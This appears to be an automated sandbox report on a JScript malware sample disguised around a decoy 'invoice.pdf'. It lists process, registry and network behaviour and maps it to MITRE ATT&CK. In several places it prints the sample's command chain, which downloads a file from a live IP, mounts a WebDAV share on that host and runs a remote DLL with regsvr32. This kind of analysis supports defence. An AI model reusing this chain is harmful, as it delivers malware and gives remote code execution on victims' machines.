Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\9838.js.csv");ITextStream.WriteLine(" entry:8513 f:mnpty");ITextStream.WriteLine(" exec:2 f:mnpty");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49712

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4523			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4516			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6764	Thread sleep count: 4523 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6764	Thread sleep count: 4516 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4212	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5684	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6692	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5676	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 1700	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6304	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.2419787943.00000247D5DB8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`p
Source: net.exe, 00000007.00000002.2419787943.00000247D5E23000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3647629525.000001AF8AA54000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3644064695.000001AF85427000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\38411711414978.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\38411711414978.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\38411711414978.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\38411711414978.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\38411711414978.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
